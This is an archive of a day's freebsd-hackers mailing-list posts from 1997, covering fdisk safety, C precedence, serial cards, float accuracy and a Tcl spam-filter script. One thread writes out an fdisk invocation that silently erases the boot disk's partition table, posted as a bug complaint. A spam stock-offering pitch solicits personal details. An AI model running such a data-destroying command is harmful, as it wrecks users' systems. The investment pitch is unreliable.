Fri, 30 May 1997 09:54:28 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA25182 for ; Fri, 30 May 1997 09:54:10 -0700 (PDT) Received: (qmail 789 invoked by uid 1000); 30 May 1997 16:37:10 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Fri, 30 May 1997 09:37:10 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-hackers@freebsd.org Subject: Fdisk Special Feature We CAN do Without Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I call it ``Teach'em To Be Careful'' (TTTBC): This feature makes sure you look and look again and your screen before you press ENTER. It also teaches you the value of fast, reliable and up to date backup. How does it work? So simple you do not have to learn it at all! It does it all by itself? How do you evaluate/activate this feature? Simply type ``fdisk some nonsense'' Fdisk will promptly wipe out your boot disk partitioning table. Just to make sure you stay alert, it will not tell you. How will you find out? Oh, when you boot your system next. It wouldn't! This feature is actually documented! It says clearly in the man page that if you do not specify what drive to partition, it will partition your boot drive. Now, if you want to make SURE you activate this feature, do: fdisk -f some_file_that_has_partitioning_data nonsense This will do it for sure. Every time. I know. I tried. Happy Re-installing! Simon From owner-freebsd-hackers Fri May 30 10:14:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA26412 for hackers-outgoing; Fri, 30 May 1997 10:14:33 -0700 (PDT) Received: from ns1.softcell.net ([38.216.110.200]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA26407 for ; Fri, 30 May 1997 10:14:31 -0700 (PDT) From: mailbox@22354.com Received: from softcell.net (1Cust64.Max78.New-York.NY.MS.UU.NET [153.35.38.192]) by ns1.softcell.net (8.8.4/8.8.4) with SMTP id KAA19180; Fri, 30 May 1997 10:08:34 -0700 Received: from 2bornot2b.com by removal send to postmaster@2bornot2b.com (8.8.5/8.6.5) with SMTP id GAA02354 for ; Fri, 30 May 1997 12:14:28 -0600 (EST) Date: Fri, 30 May 97 12:14:28 EST To: removal@ns1.softcell.net, send@ns1.softcell.net, to@ns1.softcell.net, postmaster@2bornot2b.com Subject: Stock Offering (IPO) Message-ID: Reply-To: mailbox@softcell.net X-PMFLAGS: 340788480 X-UIDL: 3671313288965eb1890m0762139 Comments: Authenticated sender is <2bornot2b.com> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk New Issue, April 2, 1997 Allied Lodgic Corporation LOGIC 200,000 Shares Of Common Stock PRICE $5.00 PER SHARE Company Profile Logic. Manufacturer of incredibly tough Logic(tm) sport, fishing and utility boats, from 12-17 feet in length. We cast a wide v-hull, deck and stringers in one solid, seamless, virtually indestructible piece. Tougher than fiberglass. Easy to maintain. Easy to repair. No gelcoat to crack or shatter. Logic. Up to forty percent less expensive to build than comparable fiberglass boats. Our objective is to become the "Volksboat"-the entry level boat fisherman, families and boat rental operators in a $4 billion per year US market. Logic. Proprietary and patented process. We invented a new way to build strong, low maintenance fishing boats. We tested it with commercial and recreational boats in tough South Pacific waters. We are the only ones who can offer it. Logic. New Product of the Year in North Carolina. Boating Magazine asks, "Is this the boat of the future?" Trailer Boats Magazine says, "A new breed of boat...gorilla tough!" Logic. A new boat company drawing on forty years of marine experience. Affiliated with Pacific Resources Group, a multi-national trading and manufacturing group. Logic. The biggest revolution in boat manufacturing since fiberglass replaced wood. Copies of the Subscription Agreement and offering circular may be obtained directly form the Company via fax or overnight mail. Copies of the Subscription Agreement and offering circular may be obtained only in such states where the offering may be legally distributed. ALLIED LOGIC CORPORATION 100 Golden Drive • Durham, NC 27705 Telephone: (800) 564-4225 • Fax: (919) 382-0585 "Hammer Tough. Low Price, Logic Boats" In order to provide you with the offering memorandum which will include the subscription agreement, photo of the factory as well as recent trade press .ie Boating Magazine. Please fill out the below form and Email to steve@softcell.net or fax to the above number. Thank you for your time and feel free to call us anytime. Name__________________________ Address_______________________ Address_______________________ Day Tel.______________________ From owner-freebsd-hackers Fri May 30 10:20:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA26748 for hackers-outgoing; Fri, 30 May 1997 10:20:25 -0700 (PDT) Received: from FNAL.FNAL.Gov (SYSTEM@fnal.fnal.gov [131.225.110.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA26742 for ; Fri, 30 May 1997 10:20:21 -0700 (PDT) Received: from aduxb.fnal.gov ("port 38172"@aduxb.fnal.gov) by FNAL.FNAL.GOV (PMDF V5.0-5 #3998) id <01IJHB279VD0000GI4@FNAL.FNAL.GOV>; Fri, 30 May 1997 12:20:19 -0600 Received: from localhost by aduxb.fnal.gov (5.x/SMI-SVR4) id AA21679; Fri, 30 May 1997 12:20:11 -0500 Date: Fri, 30 May 1997 12:20:10 -0500 (CDT) From: Richard Neswold Subject: Re: cc/gcc In-reply-to: <199705301200.IAA11334@lakes.water.net> To: Thomas David Rivers Cc: FreeBSD-Hackers Reply-to: neswold@FNAL.GOV Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 30 May 1997, Thomas David Rivers wrote: > I believe '?' has a higher precedence than '=='; so you are really > saying: Nope. "==" has higher precedence than "?:". Furthermore, '==' is left-to-right associative. > > a = 1; b = 1; c = 0; > > c = a == b == 1 ? 1 : 0 ; printf(" %i\n", c); Using parenthesis to indicate the precedence: c = (((a == b) == 1) ? 1 : 0); (( 1 == 1) ? 1 : 0); ( 1 ? 1 : 0); 1; > > a='1'; b='1'; c = 0; > > c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); c = (((a == b) == '1') ? '1' : '0'); (( 1 == '1') ? '1' : '0'); ( 0 ? '1' : '0'); '0'; Rich ------------------------------------------------------------------------ Richard Neswold, Accelerator Div./Controls Dept | neswold@fnal.gov Fermilab, PO Box 500, MS 347, Batavia, IL 60510 | voice (630) 840-3454 'finger neswold@aduxb.fnal.gov' for PGP key | fax (630) 840-3093 From owner-freebsd-hackers Fri May 30 11:58:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA02193 for hackers-outgoing; Fri, 30 May 1997 11:58:33 -0700 (PDT) Received: from smtp1.ts.kiev.ua (viking.ts.kiev.ua [193.124.229.195]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA02183 for ; Fri, 30 May 1997 11:58:23 -0700 (PDT) Received: from aviion.ts.kiev.ua by smtp1.ts.kiev.ua with SMTP id VAA00954; (8.8.3/zah/2.1) Fri, 30 May 1997 21:54:34 +0300 (EET DST) Received: from nbki.ipri.kiev.ua by aviion.ts.kiev.ua with ESMTP id TAA08843; (8.6.11/zah/2.1) Fri, 30 May 1997 19:48:19 GMT Received: from cki.ipri.kiev.ua by nbki.ipri.kiev.ua with ESMTP id UAA13005; (8.6.9/zah/1.1) Fri, 30 May 1997 20:53:06 +0100 Received: from 194.44.146.14 (mac.ipri.kiev.ua [194.44.146.14]) by cki.ipri.kiev.ua (8.7.6/8.7.3) with SMTP id VAA11742 for ; Fri, 30 May 1997 21:11:41 +0300 (EET DST) Message-ID: <338F0AB2.3DD6@cki.ipri.kiev.ua> Date: Fri, 30 May 1997 20:13:21 +0300 From: Ruslan Shevchenko Reply-To: rssh@cki.ipri.kiev.ua Organization: IPRI X-Mailer: Mozilla 3.01Gold (Macintosh; I; 68K) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Inteface for external drivers. (ppa3) Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just Install ppa3.c --- work well, but why I must patch userconfig.c ? may be better create subbdirectory devices, and move device_info stuff there ? in config generate file device_info.c by catting device/*, than in userconfig write struct DEV_INFO device_info[] = { #include "device_info.c" }; It's allows to do drivers as sdandart FreeBSD ports. With publishing *stable* interfases for kernel, it's would be wary good step. From owner-freebsd-hackers Fri May 30 12:01:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA02328 for hackers-outgoing; Fri, 30 May 1997 12:01:11 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA02322 for ; Fri, 30 May 1997 12:01:02 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id EAA17643; Sat, 31 May 1997 04:58:47 +1000 Date: Sat, 31 May 1997 04:58:47 +1000 From: Bruce Evans Message-Id: <199705301858.EAA17643@godzilla.zeta.org.au> To: bmcgover@cisco.com, luiz@nlink.com.br Subject: Re: Cyclades card problems... Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >The problem is directly collated between interrupt latency and the number >of silo overflows. Yes. >The "problem" is that the Cyclom-Y cards only have DTR flow control >available to them. Note that this means no RTS/CTS flow control that most >applications use for hardware flow control. No. At least most of the ISA Cyclom-Y cards have RTS and CTS connected, and the driver supports this: Cyclom-8Ys: RJ-12 connector with CTS but no RTS. Also no RI (ring indicator). Only CTS output flow control works. Cyclom-8Yo,8Yb,16Y: DB-25 connector with everything except RI. RTS/CTS flow control works in both directions. The UARTs on the Cyclom-Y cards only support DTR flow control, and neither the cards nor the driver fudges this by pretending that DTR is actually RTS. Not much is lost, since the driver can't afford to depend on working RTS flow control anyway. E.g., the device might be connected to something that doesn't support it, or it might be connected to something that can't stop the flow fast enough. Any 16550-based device may have the latter problem (since the transmitter fifo size of 16 is larger than the receiver fifo size of 12). Anyway, flow control should be avoided if possible since it reduces throughput. >The PCI card, using a low priority interrupt handler, is the primary cause >for problems on the PCI version (the Ys have, if I remember correctly, as >this conversation was back in December, only 12 bytes of FIFO space).The >system just doesn't get to the card soon enough to avoid a silo overflow. > >In the ISA case, the problem is lessened, The problem is lessened by a large factor in the ISA case (maximum interrupt latency is typically 100 times smaller). This will be fixed when the PCI interrupt dispatcher supports fast interrupt handlers. >but an overburdened box will have >the same issues (and I've caused this in a pentium pro 200 running 16 ports >at 38400 at full saturation). This shouldn't happen. The driver is tuned to support 8 ports at 115200 at almost full saturation on a 486-33. (70% overhead, but not quite full saturation since the UARTs on Cyclom cards can't transmit at a full 115200). A P6/200 should have < 50% overhead for 16 ports at only 38400 saturated. Overhead is more of a problem than latency for the ISA driver. Bruce From owner-freebsd-hackers Fri May 30 13:04:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA04783 for hackers-outgoing; Fri, 30 May 1997 13:04:17 -0700 (PDT) Received: from punt-2.mail.demon.net (relay-7.mail.demon.net [194.217.242.9]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA04714 for ; Fri, 30 May 1997 13:04:05 -0700 (PDT) Received: from awfulhak.demon.co.uk ([158.152.17.1]) by punt-2.mail.demon.net id aa0524957; 30 May 97 20:57 BST Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id UAA08444; Fri, 30 May 1997 20:51:18 +0100 (BST) Message-Id: <199705301951.UAA08444@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: MARK SAYER cc: "'freebsd-hackers@freebsd.org'" Subject: Re: IP Aliasing In-reply-to: Your message of "Fri, 30 May 1997 15:13:27 +1000." <199705300517.WAA29637@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 May 1997 20:51:18 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Anyone know where I can find some good docs on IP aliasing/masquerading > for FreeBSD. I have looked around on the WEB for a while but can't find > anything. > > Ta. You could have a look at the natd man page. It's not anormous, but should get you on your way. Have a look at http://www.awfulhak.org/natd.html. There's a link from there to the authors site too. -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Fri May 30 13:30:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA06371 for hackers-outgoing; Fri, 30 May 1997 13:30:28 -0700 (PDT) Received: from wlk.com (news.wlk.com [192.86.83.250]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA06365 for ; Fri, 30 May 1997 13:30:24 -0700 (PDT) Received: from SMTPdaemon by wlk.com (smail3.2) with SMTPL id m0wXYJY-0009t6C; Fri, 30 May 1997 15:30:20 -0500 (CDT) Received: from critter.dk.tfs.com (localhost [127.0.0.1]) by critter.dk.tfs.com (8.8.5/8.8.5) with ESMTP id WAA01063 for ; Fri, 30 May 1997 22:26:35 +0200 (CEST) Date: Fri, 30 May 1997 22:26:34 +0200 Message-ID: <1057.865023994.1@critter.dk.tfs.com> From: Poul-Henning Kamp Subject: stopping mailspam without tears... MIME-Version: 1.0 Content-Type: multipart/digest; boundary="----- =_aaaaaaaaaa" Content-Description: Blind Carbon Copy Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk To: undisclosed-recipients:; ------- =_aaaaaaaaaa Content-Type: message/rfc822 Content-Description: Original Message To: isp@freebsd.org Subject: stopping mailspam without tears... From: Poul-Henning Kamp Date: Fri, 30 May 1997 22:26:34 +0200 Message-ID: <1057.865023994@critter.dk.tfs.com> Sender: phk@critter.dk.tfs.com A local ISP here had the problem that they were being used as a relay for various mail-spammers. Here is a summary of the solution I am implementing. The reason I think it is interesting is that it doesn't involve sendmail.cf :-) Life is too short for sendmail.cf. If anybody has the time to work on this to make it a suitable option in /etc/sysconfig for freebsd... nudge, nudge, wink, wink! Poul-Henning Cookbook: --------- Make a directory /var/spool/mqueue_in, set owner, group & modes right. Start sendmail with -bd -O QueueDirectory=/var/spool/mqueue_in -O DeliveryMode=q this makes sendmail store all incomming mail in your new directory instead of delivering it. Start another sendmail with -q5m or similar. Now write a small script in a language of your choice, which looks at the qf* and df* files in /var/spool/mqueue_in and if you like the contents, you move them to /var/spool/mqueue for delivery. The format of the qf* files are descibed in Appendix B in src/usr.sbin/sendmail/doc/op/op.me TADA! Yes, I know all the drawbacks of this scheme, but I can make checks this way that none of the sendmail patches I have seen yet allows me to do. You can check all recipients all header lines and envelope information, and you even have access to the message itself, at the same time! Emails from spammers will just be /dev/nulled. I include my (Tcl!) script here for all to work from #!/usr/bin/tclsh # # ---------------------------------------------------------------------------- # "THE BEER-WARE LICENSE" (Revision 42): # wrote this file. As long as you retain this notice you # can do whatever you want with this stuff. If we meet some day, and you think # this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp # ---------------------------------------------------------------------------- # # $Id$ # set spool_in /var/spool/mqueue_in set spool_out /var/spool/mqueue set spool_spam /var/tmp/spam set spool_problem /var/spool/mqueue_problem ################# proc Process {id qf df} { global spool_in spool_out spool_spam spool_problem set f [open $qf] if {![file size $qf]} { if {[file mtime $qf] + 600 < [clock seconds]} { puts "$id Stale zero size queue file" MoveTo $id $spool_problem } return } set rcount 0 set triggers 0 while {[gets $f a] >= 0} { # We can risk seing anything in these, so be carefull if {[regexp {^HSubject: } "$a"]} continue if {[regexp {^HX} "$a"]} continue # Count recipients if {[regexp {^R} "$a"]} {incr rcount} # Look for telltale signs if {[regexp {^HReceived.*000\.000\.000\.000} "$a"]} {incr triggers} if {[regexp {@savetrees\.com} "$a"]} {incr triggers} if {[regexp {@fun\.com} "$a"]} {incr triggers} if {[regexp {@public\.com} "$a"]} {incr triggers} if {[regexp {@mary-world\.com} "$a"]} {incr triggers} if {[regexp {Received: from "Cyber-Bomber"} "$a"]} {incr triggers} if {[regexp {Received: .*sallynet\.com} "$a"]} {incr triggers} if {[regexp {Received: .*marynet\.com} "$a"]} {incr triggers} if {[regexp {earthlink\.net} "$a"]} {incr triggers} } close $f puts "$id $rcount $triggers" if {$rcount > 10 && $trigger} {MoveTo $id $spool_spam} MoveTo $id $spool_out } ################# proc MoveTo {id where} { global spool_in puts "moving $id to $where" exec sh -c "mv $spool_in/??$id $where" } ################# while 1 { set list [glob -nocomplain $spool_in/qf*] if {![llength $list]} { exec sleep 30 } else { foreach i $list { puts "doing $i" regsub "$spool_in/qf(.*)" $i {\1} b if {[file exists $spool_in/tf$b]} continue if {![file exists $spool_in/qf$b]} continue if {![file exists $spool_in/df$b]} continue set error [catch "Process $b $spool_in/qf$b $spool_in/df$b" ret] if {$error} { puts "ERROR ON ID $b MOVED TO PROBLEM" puts "$error" puts "$ret" MoveTo $b $spool_problem } } exec sleep 10 } } -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. ------- =_aaaaaaaaaa-- From owner-freebsd-hackers Fri May 30 13:41:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA07290 for hackers-outgoing; Fri, 30 May 1997 13:41:35 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA07282 for ; Fri, 30 May 1997 13:41:29 -0700 (PDT) Received: from aak.anchorage.net (ai-131 [207.14.72.131]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id LAA03410 for ; Fri, 30 May 1997 11:38:02 -0800 Date: Fri, 30 May 1997 12:30:45 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: bcc vs cc/gcc (float) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk some old-timers to the list may remember this. i found cc/gcc's float operations inferior to Borland C's 16-bit DOS compiler while i was in the process of porting some of my DOS code to BSD. i apologize for the length of the code that follows, but it's as small as i can make it to prove my point. i would like to know if this situation can/will be resolved ... the code just does a simple "unsigned string to float" conversion (which is where you can see the failure in accuracy occur) and then a "float to unsigned string" conversion. with Borland C, "pow" needs to be "powl" and "fmod" needs to be "fmodl" - and the comment in "ftous" needs to be uncommented (fix rounding errors). i have taken a great deal of time creating this code to show this point - and it should compile cleanly as is under bcc/cc/gcc. Borland C (4.51) can run this code without any loss of accuracy. please CC me, i'm not subscribed. thank you. (SNIP HERE) ------------------------------------------------------------------------- unsigned char antoi (unsigned char c); unsigned char itoan (unsigned char i); unsigned long sblock (unsigned char *s, unsigned long bytes); unsigned char *strrvs (unsigned char *s, unsigned short bytes); unsigned char *ftous (unsigned char *s, long double val, unsigned char base); long double ustof (unsigned char *s,unsigned char base,unsigned short bytes); /*****************************************************************************/ #include #include #include /*****************************************************************************/ void main (unsigned char argc, unsigned char **argv) { unsigned char s[99]="ffffffffffffffff"; long double ld; ld = ustof(s, 16, 0); printf("+ %Lf\n", ld); printf("+ %Lf\n", ld-9); ftous(s, ld, 16); printf("%s\n", s); exit( 0 );} /*****************************************************************************/ unsigned char antoi (unsigned char c) { /* alnum to int */ if ( isdigit(c) ) c-=48; else if ( isupper(c) ) c-=55; else if ( islower(c) ) c-=87; return( c );} /*****************************************************************************/ unsigned char itoan (unsigned char i) { /* int to alnum */ if ( i<10 ) i+=48; else if ( i<36 ) i+=87; return( i );} /*****************************************************************************/ unsigned long sblock (unsigned char *s, unsigned long bytes) { /* size of block */ return( bytes ? bytes : strlen(s) );} /*****************************************************************************/ unsigned char *strrvs (unsigned char *s, unsigned short bytes) { /* reverse string */ unsigned char c; unsigned short i=-1; bytes = sblock(s, bytes); while ( ++i < --bytes ) { c=s[i]; s[i]=s[bytes]; s[bytes]=c; } return( s );} /*****************************************************************************/ unsigned char *ftous (unsigned char *s, long double val, unsigned char base) { /* float to unsigned string */ /* if base>10 adjust */ unsigned char *p=s; /* to alpha numeral */ if ( val < 0 ) val = -val; /* val+=0.49999999; <- needed for Borland C */ do { *p++ = itoan(fmod(val, base)); printf("- %s %Lf\n", s, val); val/=base; } while ( val >= 1 ); *p = 0; return( strrvs(s, 0) );} /*****************************************************************************/ long double ustof (unsigned char *s,unsigned char base,unsigned short bytes) { /* unsigned string to float */ /* if base>10 adjust */ long double val=0; unsigned short p=0, len=sblock(s, bytes); while ( len-- ) { val += antoi(s[len]) * pow(base, p++); printf("- %s %Lf\n", s, val); } return( val );} /*****************************************************************************/ ------------------------------------------------------------------------- another minor note - in the "printf"s above, the code will crash without the L in "%Lf" being specified for long double floats. the code below will crash if the L in "%Lf" is specified for long double floats. ??? i don't get it! ------------------------------------------------------------------------- /*****************************************************************************/ #include #include #include /*****************************************************************************/ void main (unsigned char argc, unsigned char **argv) { unsigned char i; long double ld=1; for ( i=0; i<17; ++i ) printf("%f\n", pow(16,i)); exit( 0 );} /*****************************************************************************/ ------------------------------------------------------------------------- Sleep: a sign a caffeine deprivation ... http://www.anchorage.net/~un_x ------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 30 14:43:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA10108 for hackers-outgoing; Fri, 30 May 1997 14:43:27 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA10103 for ; Fri, 30 May 1997 14:43:22 -0700 (PDT) Received: (from pallenby@localhost) by zibbi.mikom.csir.co.za (8.8.5/8.8.5) id XAA00119; Fri, 30 May 1997 23:42:54 +0200 (SAT) From: Paul Allenby Message-Id: <199705302142.XAA00119@zibbi.mikom.csir.co.za> Subject: Re: Fdisk Special Feature We CAN do Without In-Reply-To: from Simon Shapiro at "May 30, 97 09:37:10 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Fri, 30 May 1997 23:42:53 +0200 (SAT) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Simon Shapiro wrote:" [Charset iso-8859-8 unsupported, filtering to ASCII...] > I call it ``Teach'em To Be Careful'' (TTTBC): > > This feature makes sure you look and look again and your screen before you > press ENTER. It also teaches you the value of fast, reliable and up to > date backup. > > How does it work? So simple you do not have to learn it at all! It does > it all by itself? > > How do you evaluate/activate this feature? Simply type ``fdisk some > nonsense'' Fdisk will promptly wipe out your boot disk partitioning table. > Just to make sure you stay alert, it will not tell you. How will you find > out? Oh, when you boot your system next. It wouldn't! > > This feature is actually documented! It says clearly in the man page that > if you do not specify what drive to partition, it will partition your boot > drive. > > Now, if you want to make SURE you activate this feature, do: > > fdisk -f some_file_that_has_partitioning_data nonsense > > This will do it for sure. Every time. I know. I tried. > > Happy Re-installing! > > Simon > What the heck is this? Try "man fdisk". From owner-freebsd-hackers Fri May 30 14:58:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA10772 for hackers-outgoing; Fri, 30 May 1997 14:58:57 -0700 (PDT) Received: from zeus.xtalwind.net (xtal131.xtalwind.net [205.245.61.54]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA10763 for ; Fri, 30 May 1997 14:58:53 -0700 (PDT) Received: from localhost (zeus.xtalwind.net [127.0.0.1]) by zeus.xtalwind.net (8.8.5/8.8.5) with ESMTP id RAA20945 for ; Fri, 30 May 1997 17:59:40 -0400 (EDT) Date: Fri, 30 May 1997 17:59:40 -0400 (EDT) From: jack X-Sender: jack@zeus.xtalwind.net To: hackers@freebsd.org Subject: Re: Stock Offering (IPO) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8BIT Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 30 May 1997 mailbox@22354.com wrote: > New Issue, April 2, 1997 > Allied Lodgic Corporation > LOGIC > 200,000 Shares Of Common Stock > PRICE $5.00 PER SHARE > ALLIED LOGIC CORPORATION > 100 Golden Drive • Durham, NC 27705 > Telephone: (800) 564-4225 • Fax: (919) 382-0585 Excuse me while I dash across the street to the bank of public phones. :) -------------------------------------------------------------------------- Jack O'Neill Finger jacko@diamond.xtalwind.net or jack@xtalwind.net http://www.xtalwind.net/~jacko/pubpgp.html #include for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD -------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 30 15:17:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA11747 for hackers-outgoing; Fri, 30 May 1997 15:17:06 -0700 (PDT) Received: from etinc.com (et-gw-fr1.etinc.com [204.141.244.98]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA11738 for ; Fri, 30 May 1997 15:17:02 -0700 (PDT) Received: from ntws (ntws.etinc.com [204.141.95.142]) by etinc.com (8.8.3/8.6.9) with SMTP id SAA08252 for ; Fri, 30 May 1997 18:29:10 -0400 (EDT) Message-Id: <3.0.32.19970530181622.00ac07b0@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 30 May 1997 18:16:26 -0400 To: hackers@freebsd.org From: dennis Subject: Re: 2.2.2 UPdate? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk At 12:42 PM 5/30/97 -0400, you wrote: > >Is there an update disk/procedure for 2.2.2-RELEASE? or do we >have to reinstall the whole system to change a few files? Nevermind :/ Dennis From owner-freebsd-hackers Fri May 30 15:43:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA13317 for hackers-outgoing; Fri, 30 May 1997 15:43:24 -0700 (PDT) Received: from monk.via.net (monk.via.net [140.174.204.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA13312 for ; Fri, 30 May 1997 15:43:22 -0700 (PDT) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id PAA10187 for freebsd-hackers@FreeBSD.ORG; Fri, 30 May 1997 15:34:44 -0700 Date: Fri, 30 May 1997 15:34:44 -0700 From: Joe McGuckin Message-Id: <199705302234.PAA10187@monk.via.net> To: freebsd-hackers@FreeBSD.ORG Subject: SNMP for freebsd? Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Is there a snmp daemon that will monitor such things as interface stats for FreeBSD? joe From owner-freebsd-hackers Fri May 30 16:59:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA17094 for hackers-outgoing; Fri, 30 May 1997 16:59:40 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA17067 for ; Fri, 30 May 1997 16:59:29 -0700 (PDT) Received: (qmail 7380 invoked by uid 1000); 30 May 1997 23:44:13 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199705302142.XAA00119@zibbi.mikom.csir.co.za> Date: Fri, 30 May 1997 16:44:13 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Paul Allenby Subject: Re: Fdisk Special Feature We CAN do Without Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Paul Allenby; On 30-May-97 you wrote: > "Simon Shapiro wrote:" > [Charset iso-8859-8 unsupported, filtering to ASCII...] > > I call it ``Teach'em To Be Careful'' (TTTBC): > > > > This feature makes sure you look and look again and your screen before > you > > press ENTER. It also teaches you the value of fast, reliable and up to > > date backup. > > > > How does it work? So simple you do not have to learn it at all! It > does > > it all by itself? > > > > How do you evaluate/activate this feature? Simply type ``fdisk some > > nonsense'' Fdisk will promptly wipe out your boot disk partitioning > table. > > Just to make sure you stay alert, it will not tell you. How will you > find > > out? Oh, when you boot your system next. It wouldn't! > > > > This feature is actually documented! It says clearly in the man page > that > > if you do not specify what drive to partition, it will partition your > boot > > drive. > > > > Now, if you want to make SURE you activate this feature, do: > > > > fdisk -f some_file_that_has_partitioning_data nonsense > > > > This will do it for sure. Every time. I know. I tried. > > > > Happy Re-installing! > > > > Simon > > > > What the heck is this? Try "man fdisk". The heck is that (regardless of what the man says!) this program, silently and without warning will destroy your system, witha delay in problem recognition. If the rm(1) command would default to /*, in absence of arguments, you would feel it is wrongly engineered. So is fdisk. It is totally within the realm of fdisk to refuse to re-partition a disk that: a. Has open partitions, b. Has mounted file systems, c. does not match ANY parameter, including disk total size e. Has a missing device name in argv[] or has in argv[] a filename for which stat(2) returns a -2. This is a simple change to make that will not substantially detract from performance, nor reliability. How will it detract from functionality? Simon P.S. Cheer up. the original message was worded in an attemt to make humor and get a smile from an otherwise annoying situation. From owner-freebsd-hackers Fri May 30 17:22:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA18190 for hackers-outgoing; Fri, 30 May 1997 17:22:08 -0700 (PDT) Received: from sax.sax.de 